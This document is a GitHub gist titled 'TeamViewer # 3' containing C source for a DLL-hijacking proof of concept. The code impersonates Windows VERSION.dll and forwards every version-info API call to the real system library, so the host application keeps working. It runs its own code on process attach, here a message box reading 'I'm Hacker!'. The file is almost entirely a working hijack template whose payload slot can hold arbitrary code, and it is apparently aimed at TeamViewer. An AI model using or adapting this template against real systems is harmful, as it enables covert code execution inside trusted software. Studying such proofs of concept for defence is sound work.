Created
February 7, 2018 18:56
-
-
Save sh1nu11bi/68667a705ef69889b928de2bc1fe57d9 to your computer and use it in GitHub Desktop.
TeamViewer # 3
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
1 | |
2 | |
3 | |
4 | |
5 | |
6 | |
7 | |
8 | |
9 | |
10 | |
11 | |
12 | |
13 | |
14 | |
15 | |
16 | |
17 | |
18 | |
19 | |
20 | |
21 | |
22 | |
23 | |
24 | |
25 | |
26 | |
27 | |
28 | |
29 | |
30 | |
31 | |
32 | |
33 | |
34 | |
35 | |
36 | |
37 | |
38 | |
39 | |
40 | |
41 | |
42 | |
43 | |
44 | |
45 | |
46 | |
47 | |
48 | |
49 | |
50 | |
51 | |
52 | |
53 | |
54 | |
55 | |
56 | |
57 | |
58 | |
59 | |
60 | |
61 | |
62 | |
63 | |
64 | |
65 | |
66 | |
67 | |
68 | |
69 | |
70 | |
71 | |
72 | |
73 | |
74 | |
75 | |
76 | |
77 | |
78 | |
79 | |
80 | |
81 | |
82 | |
83 | |
84 | |
85 | |
86 | |
87 | |
88 | |
89 | |
90 | |
91 | |
92 | |
93 | |
94 | |
95 | |
96 | |
97 | |
98 | |
99 | |
100 | |
101 | |
102 | |
103 | |
104 | |
105 | |
106 | |
107 | |
108 | |
109 | |
110 | |
111 | |
112 | |
113 | |
114 | |
115 | |
116 | |
117 | |
118 | |
119 | |
120 | |
121 | |
122 | |
123 | |
124 | |
125 | |
126 | |
127 | |
128 | |
129 | |
130 | |
131 | |
132 | |
133 | |
134 | |
135 | |
136 | |
137 | |
138 | |
139 | |
140 | |
141 | |
142 | |
143 | |
144 | |
145 | |
146 | |
147 | |
148 | |
149 | |
150 | |
151 | |
152 | |
153 | |
154 | |
155 | |
156 | |
157 | |
158 | |
159 | |
160 | |
161 | |
162 | |
163 | |
164 | |
165 | |
166 | |
167 | |
168 | |
169 | |
170 | |
171 | |
172 | |
173 | |
174 | |
175 | |
176 | |
177 | |
178 | |
179 | |
180 | |
181 | |
182 | |
183 | |
184 | |
185 | |
186 | |
187 | |
188 | |
189 | |
190 | |
191 | |
192 | |
193 | |
194 | |
195 | |
196 | |
197 | |
198 | |
199 | |
200 | |
201 | |
202 | |
203 | |
204 | |
205 | |
206 | |
207 | |
208 | |
209 | |
210 | |
211 | |
212 | |
213 | |
214 | |
215 | |
216 | |
217 | |
218 | |
219 | |
220 | |
221 | |
222 | |
223 | |
224 | |
225 | |
226 | |
227 | |
228 | |
229 | |
230 | |
231 | |
232 | |
233 | |
234 | |
235 | |
236 | |
237 | |
238 | |
239 | |
240 | |
241 | |
242 | |
243 | |
244 | |
245 | |
246 | |
247 | |
#include <Windows.h> | |
#include <Winternl.h> | |
#include <string.h> | |
#include <stdio.h> | |
#include <stdlib.h> | |
VOID *GetAPI(char *lib,char *name) | |
{ | |
HMODULE mod; | |
CHAR path[MAX_PATH]; | |
CHAR fname[MAX_PATH]; | |
GetSystemDirectoryA(path,MAX_PATH); | |
sprintf(fname,"%s\\%s",path,lib); | |
mod=LoadLibraryA(fname); | |
if (mod) | |
{ | |
return GetProcAddress(mod,name); | |
} | |
return 0; | |
} | |
DWORD | |
(APIENTRY | |
*fGetFileVersionInfoSizeW)( | |
__in LPCWSTR lptstrFilename, /* Filename of version stamped file */ | |
__out_opt LPDWORD lpdwHandle /* Information for use by GetFileVersionInfo */ | |
); | |
DWORD | |
APIENTRY | |
GetFileVersionInfoSizeW( | |
__in LPCWSTR lptstrFilename, /* Filename of version stamped file */ | |
__out_opt LPDWORD lpdwHandle /* Information for use by GetFileVersionInfo */ | |
) | |
{ | |
fGetFileVersionInfoSizeW=GetAPI("VERSION.dll","GetFileVersionInfoSizeW"); | |
if (!fGetFileVersionInfoSizeW) | |
{ | |
return 0; | |
} | |
return fGetFileVersionInfoSizeW(lptstrFilename,lpdwHandle); | |
} | |
BOOL | |
(APIENTRY | |
*fGetFileVersionInfoW)( | |
__in LPCWSTR lptstrFilename, /* Filename of version stamped file */ | |
__reserved DWORD dwHandle, /* Information from GetFileVersionSize */ | |
__in DWORD dwLen, /* Length of buffer for info */ | |
__out_bcount(dwLen) LPVOID lpData /* Buffer to place the data structure */ | |
); | |
BOOL | |
APIENTRY | |
GetFileVersionInfoW( | |
__in LPCWSTR lptstrFilename, /* Filename of version stamped file */ | |
__reserved DWORD dwHandle, /* Information from GetFileVersionSize */ | |
__in DWORD dwLen, /* Length of buffer for info */ | |
__out_bcount(dwLen) LPVOID lpData /* Buffer to place the data structure */ | |
) | |
{ | |
fGetFileVersionInfoW=GetAPI("VERSION.dll","GetFileVersionInfoW"); | |
if (!fGetFileVersionInfoW) | |
{ | |
return 0; | |
} | |
return fGetFileVersionInfoW(lptstrFilename,dwHandle,dwLen,lpData); | |
} | |
BOOL | |
(APIENTRY | |
*fVerQueryValueW)( | |
__in LPCVOID pBlock, | |
__in LPCWSTR lpSubBlock, | |
__deref_out_xcount("buffer can be PWSTR or DWORD*") LPVOID * lplpBuffer, | |
__out PUINT puLen | |
); | |
BOOL | |
APIENTRY | |
VerQueryValueW( | |
__in LPCVOID pBlock, | |
__in LPCWSTR lpSubBlock, | |
__deref_out_xcount("buffer can be PWSTR or DWORD*") LPVOID * lplpBuffer, | |
__out PUINT puLen | |
) | |
{ | |
fVerQueryValueW=GetAPI("VERSION.dll","VerQueryValueW"); | |
if (!fVerQueryValueW) | |
{ | |
return 0; | |
} | |
return fVerQueryValueW(pBlock,lpSubBlock,lplpBuffer,puLen); | |
} | |
BOOL | |
(APIENTRY | |
*fGetFileVersionInfoA)( | |
__in LPCSTR lptstrFilename, /* Filename of version stamped file */ | |
__reserved DWORD dwHandle, /* Information from GetFileVersionSize */ | |
__in DWORD dwLen, /* Length of buffer for info */ | |
__out_bcount(dwLen) LPVOID lpData /* Buffer to place the data structure */ | |
); | |
BOOL | |
APIENTRY | |
GetFileVersionInfoA( | |
__in LPCSTR lptstrFilename, /* Filename of version stamped file */ | |
__reserved DWORD dwHandle, /* Information from GetFileVersionSize */ | |
__in DWORD dwLen, /* Length of buffer for info */ | |
__out_bcount(dwLen) LPVOID lpData /* Buffer to place the data structure */ | |
) | |
{ | |
fGetFileVersionInfoA=GetAPI("VERSION.dll","GetFileVersionInfoA"); | |
if (!fGetFileVersionInfoA) | |
{ | |
return 0; | |
} | |
return fGetFileVersionInfoA(lptstrFilename,dwHandle,dwLen,lpData); | |
} | |
BOOL (APIENTRY *fGetFileVersionInfoExW)(__in DWORD dwFlags, | |
__in LPCWSTR lpwstrFilename, | |
__reserved DWORD dwHandle, | |
__in DWORD dwLen, | |
__out_bcount(dwLen) LPVOID lpData); | |
BOOL APIENTRY GetFileVersionInfoExW(__in DWORD dwFlags, | |
__in LPCWSTR lpwstrFilename, | |
__reserved DWORD dwHandle, | |
__in DWORD dwLen, | |
__out_bcount(dwLen) LPVOID lpData) | |
{ | |
fGetFileVersionInfoExW=GetAPI("VERSION.dll","GetFileVersionInfoExW"); | |
if (!fGetFileVersionInfoExW) | |
{ | |
return 0; | |
} | |
return fGetFileVersionInfoExW(dwFlags,lpwstrFilename,dwHandle,dwLen,lpData); | |
} | |
DWORD (APIENTRY *fGetFileVersionInfoSizeExA)(__in DWORD dwFlags, __in LPCSTR lpwstrFilename, __out LPDWORD lpdwHandle); | |
DWORD APIENTRY GetFileVersionInfoSizeExA(__in DWORD dwFlags, __in LPCSTR lpwstrFilename, __out LPDWORD lpdwHandle) | |
{ | |
fGetFileVersionInfoSizeExA=GetAPI("VERSION.dll","GetFileVersionInfoSizeExA"); | |
if (!fGetFileVersionInfoSizeExA) | |
{ | |
return 0; | |
} | |
return fGetFileVersionInfoSizeExA(dwFlags,lpwstrFilename,lpdwHandle); | |
} | |
DWORD (APIENTRY *fGetFileVersionInfoSizeExW)(__in DWORD dwFlags, __in LPCWSTR lpwstrFilename, __out LPDWORD lpdwHandle); | |
DWORD APIENTRY GetFileVersionInfoSizeExW(__in DWORD dwFlags, __in LPCWSTR lpwstrFilename, __out LPDWORD lpdwHandle) | |
{ | |
fGetFileVersionInfoSizeExW=GetAPI("VERSION.dll","GetFileVersionInfoSizeExW"); | |
if (!fGetFileVersionInfoSizeExW) | |
{ | |
return 0; | |
} | |
return fGetFileVersionInfoSizeExW(dwFlags,lpwstrFilename,lpdwHandle); | |
} | |
DWORD | |
(APIENTRY | |
*fGetFileVersionInfoSizeA)( | |
__in LPCSTR lptstrFilename, /* Filename of version stamped file */ | |
__out_opt LPDWORD lpdwHandle /* Information for use by GetFileVersionInfo */ | |
); | |
DWORD | |
APIENTRY | |
GetFileVersionInfoSizeA( | |
__in LPCSTR lptstrFilename, /* Filename of version stamped file */ | |
__out_opt LPDWORD lpdwHandle /* Information for use by GetFileVersionInfo */ | |
) | |
{ | |
fGetFileVersionInfoSizeA=GetAPI("VERSION.dll","GetFileVersionInfoSizeA"); | |
if (!fGetFileVersionInfoSizeA) | |
{ | |
return 0; | |
} | |
return fGetFileVersionInfoSizeA(lptstrFilename,lpdwHandle); | |
} | |
BOOL | |
(APIENTRY | |
*fVerQueryValueA)( | |
__in LPCVOID pBlock, | |
__in LPCSTR lpSubBlock, | |
__deref_out_xcount("buffer can be PWSTR or DWORD*") LPVOID * lplpBuffer, | |
__out PUINT puLen | |
); | |
BOOL | |
APIENTRY | |
VerQueryValueA( | |
__in LPCVOID pBlock, | |
__in LPCSTR lpSubBlock, | |
__deref_out_xcount("buffer can be PWSTR or DWORD*") LPVOID * lplpBuffer, | |
__out PUINT puLen | |
) | |
{ | |
fVerQueryValueA=GetAPI("VERSION.dll","VerQueryValueA"); | |
if (!fVerQueryValueA) | |
{ | |
return 0; | |
} | |
return fVerQueryValueA(pBlock,lpSubBlock,lplpBuffer,puLen); | |
} | |
BOOL WINAPI DllMain( | |
HINSTANCE hinstDLL, // handle to DLL module | |
DWORD fdwReason, // reason for calling function | |
LPVOID lpReserved ) // reserved | |
{ | |
// Perform actions based on the reason for calling. | |
switch( fdwReason ) | |
{ | |
case DLL_PROCESS_ATTACH: | |
MessageBoxA(0,"I'm Hacker!","Hi",0); | |
break; | |
case DLL_THREAD_ATTACH: | |
// Do thread-specific initialization. | |
break; | |
case DLL_THREAD_DETACH: | |
// Do thread-specific cleanup. | |
break; | |
case DLL_PROCESS_DETACH: | |
// Perform any necessary cleanup. | |
break; | |
} | |
return TRUE; // Successful DLL_PROCESS_ATTACH. | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment